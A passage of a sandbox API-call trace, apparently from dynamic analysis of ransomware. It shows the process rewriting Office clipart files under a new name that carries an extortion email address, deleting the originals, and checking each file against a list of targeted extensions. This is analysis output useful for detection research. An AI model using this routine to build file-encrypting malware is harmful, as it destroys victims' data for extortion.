lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.450] SetEndOfFile (hFile=0x10e8) returned 1 [0151.457] CloseHandle (hObject=0x10e8) returned 1 [0151.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0151.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0151.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0151.461] lstrlenW (lpString=".doc") returned 4 [0151.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.461] lstrlenW (lpString=".docx") returned 5 [0151.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.461] lstrlenW (lpString=".pdf") returned 4 [0151.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.462] lstrlenW (lpString=".xls") returned 4 [0151.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.462] lstrlenW (lpString=".xlsx") returned 5 [0151.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.462] lstrlenW (lpString=".ppt") returned 4 [0151.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0151.462] lstrlenW (lpString=".zip") returned 4 [0151.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.462] lstrlenW (lpString=".rar") returned 4 [0151.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.462] lstrlenW (lpString=".bz2") returned 4 [0151.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.462] lstrlenW (lpString=".7z") returned 3 [0151.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0151.462] lstrlenW (lpString=".dbf") returned 4 [0151.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0151.462] lstrlenW (lpString=".1cd") returned 4 [0151.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0151.462] lstrlenW (lpString=".jpg") returned 4 [0151.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.464] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.464] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0151.466] GetLastError () returned 0x0 [0151.466] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x17ac, lpOverlapped=0x0) returned 1 [0151.586] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x17b0, lpOverlapped=0x0) returned 1 [0151.587] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.587] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.587] SetEndOfFile (hFile=0x10e4) returned 1 [0151.588] CloseHandle (hObject=0x10e4) returned 1 [0151.602] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.602] SetEndOfFile (hFile=0x103c) returned 1 [0151.603] CloseHandle (hObject=0x103c) returned 1 [0151.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0151.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0151.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0151.604] lstrlenW (lpString=".doc") returned 4 [0151.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.604] lstrlenW (lpString=".docx") returned 5 [0151.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.604] lstrlenW (lpString=".pdf") returned 4 [0151.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.604] lstrlenW (lpString=".xls") returned 4 [0151.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.604] lstrlenW (lpString=".xlsx") returned 5 [0151.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.605] lstrlenW (lpString=".ppt") returned 4 [0151.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0151.605] lstrlenW (lpString=".zip") returned 4 [0151.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.605] lstrlenW (lpString=".rar") returned 4 [0151.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.605] lstrlenW (lpString=".bz2") returned 4 [0151.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.605] lstrlenW (lpString=".7z") returned 3 [0151.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0151.605] lstrlenW (lpString=".dbf") returned 4 [0151.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0151.605] lstrlenW (lpString=".1cd") returned 4 [0151.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0151.605] lstrlenW (lpString=".jpg") returned 4 [0151.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.606] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.606] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0151.606] GetLastError () returned 0x0 [0151.606] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1204, lpOverlapped=0x0) returned 1 [0151.707] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1210, lpOverlapped=0x0) returned 1 [0151.708] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.708] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.708] SetEndOfFile (hFile=0x10e4) returned 1 [0151.709] CloseHandle (hObject=0x10e4) returned 1 [0151.714] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.714] SetEndOfFile (hFile=0x103c) returned 1 [0151.715] CloseHandle (hObject=0x103c) returned 1 [0151.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0151.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0151.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0151.716] lstrlenW (lpString=".doc") returned 4 [0151.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.717] lstrlenW (lpString=".docx") returned 5 [0151.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.717] lstrlenW (lpString=".pdf") returned 4 [0151.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.717] lstrlenW (lpString=".xls") returned 4 [0151.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.717] lstrlenW (lpString=".xlsx") returned 5 [0151.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.717] lstrlenW (lpString=".ppt") returned 4 [0151.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0151.717] lstrlenW (lpString=".zip") returned 4 [0151.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.717] lstrlenW (lpString=".rar") returned 4 [0151.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.717] lstrlenW (lpString=".bz2") returned 4 [0151.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.717] lstrlenW (lpString=".7z") returned 3 [0151.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0151.717] lstrlenW (lpString=".dbf") returned 4 [0151.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0151.717] lstrlenW (lpString=".1cd") returned 4 [0151.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68 [0151.717] lstrlenW (lpString=".jpg") returned 4 [0151.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.227] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.227] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0152.286] GetLastError () returned 0x0 [0152.286] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0152.333] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0152.335] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.335] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.335] SetEndOfFile (hFile=0x103c) returned 1 [0152.335] CloseHandle (hObject=0x103c) returned 1 [0152.336] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.336] SetEndOfFile (hFile=0x10d0) returned 1 [0152.337] CloseHandle (hObject=0x10d0) returned 1 [0152.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0152.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0152.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0152.339] lstrlenW (lpString=".doc") returned 4 [0152.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.339] lstrlenW (lpString=".docx") returned 5 [0152.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.339] lstrlenW (lpString=".pdf") returned 4 [0152.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.339] lstrlenW (lpString=".xls") returned 4 [0152.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.339] lstrlenW (lpString=".xlsx") returned 5 [0152.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.339] lstrlenW (lpString=".ppt") returned 4 [0152.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0152.339] lstrlenW (lpString=".zip") returned 4 [0152.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.339] lstrlenW (lpString=".rar") returned 4 [0152.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.339] lstrlenW (lpString=".bz2") returned 4 [0152.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.339] lstrlenW (lpString=".7z") returned 3 [0152.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0152.339] lstrlenW (lpString=".dbf") returned 4 [0152.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0152.339] lstrlenW (lpString=".1cd") returned 4 [0152.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0152.340] lstrlenW (lpString=".jpg") returned 4 [0152.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.351] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.351] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0152.352] GetLastError () returned 0x0 [0152.352] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1384, lpOverlapped=0x0) returned 1 [0152.549] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1390, lpOverlapped=0x0) returned 1 [0152.550] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.550] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.550] SetEndOfFile (hFile=0x103c) returned 1 [0152.550] CloseHandle (hObject=0x103c) returned 1 [0152.551] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.551] SetEndOfFile (hFile=0x10d0) returned 1 [0152.552] CloseHandle (hObject=0x10d0) returned 1 [0152.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0152.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0152.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0152.553] lstrlenW (lpString=".doc") returned 4 [0152.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.553] lstrlenW (lpString=".docx") returned 5 [0152.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.553] lstrlenW (lpString=".pdf") returned 4 [0152.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.553] lstrlenW (lpString=".xls") returned 4 [0152.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.553] lstrlenW (lpString=".xlsx") returned 5 [0152.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.553] lstrlenW (lpString=".ppt") returned 4 [0152.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0152.553] lstrlenW (lpString=".zip") returned 4 [0152.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.553] lstrlenW (lpString=".rar") returned 4 [0152.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.553] lstrlenW (lpString=".bz2") returned 4 [0152.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.553] lstrlenW (lpString=".7z") returned 3 [0152.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0152.553] lstrlenW (lpString=".dbf") returned 4 [0152.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0152.553] lstrlenW (lpString=".1cd") returned 4 [0152.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0152.553] lstrlenW (lpString=".jpg") returned 4 [0152.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.554] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.554] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0152.554] GetLastError () returned 0x0 [0152.554] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x138c, lpOverlapped=0x0) returned 1 [0152.634] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1390, lpOverlapped=0x0) returned 1 [0152.635] ReadFile (in: hFile=0x10d0, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.635] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.635] SetEndOfFile (hFile=0x103c) returned 1 [0152.638] CloseHandle (hObject=0x103c) returned 1 [0152.639] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.639] SetEndOfFile (hFile=0x10d0) returned 1 [0152.640] CloseHandle (hObject=0x10d0) returned 1 [0152.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0152.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0152.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0152.641] lstrlenW (lpString=".doc") returned 4 [0152.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.641] lstrlenW (lpString=".docx") returned 5 [0152.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.641] lstrlenW (lpString=".pdf") returned 4 [0152.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.641] lstrlenW (lpString=".xls") returned 4 [0152.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.641] lstrlenW (lpString=".xlsx") returned 5 [0152.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.641] lstrlenW (lpString=".ppt") returned 4 [0152.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0152.641] lstrlenW (lpString=".zip") returned 4 [0152.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.641] lstrlenW (lpString=".rar") returned 4 [0152.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.641] lstrlenW (lpString=".bz2") returned 4 [0152.641] lstrcmpiW 